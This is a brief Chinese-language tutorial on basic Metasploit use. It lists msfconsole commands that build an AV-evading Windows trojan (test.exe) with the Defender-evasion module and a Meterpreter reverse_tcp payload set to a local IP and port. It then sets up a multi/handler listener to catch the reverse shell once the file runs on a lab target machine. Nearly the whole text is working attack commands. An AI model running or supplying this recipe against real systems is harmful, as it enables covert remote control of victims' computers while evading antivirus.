metasploit简单使用
在Kali中运行msfconsole,运行下列命令生成test.exe木马
use evasion/windows/windows_defender_exe
set filename test.exe
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.11
set lport 5555
exploit
生成test.exe,放在靶机中,然后继续在Kali中运行下列命令,监听tcp反弹连接
back
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.11
set lport 5555
exploit
在靶机中运行test.ext,
在Kali中会看到反弹的连接: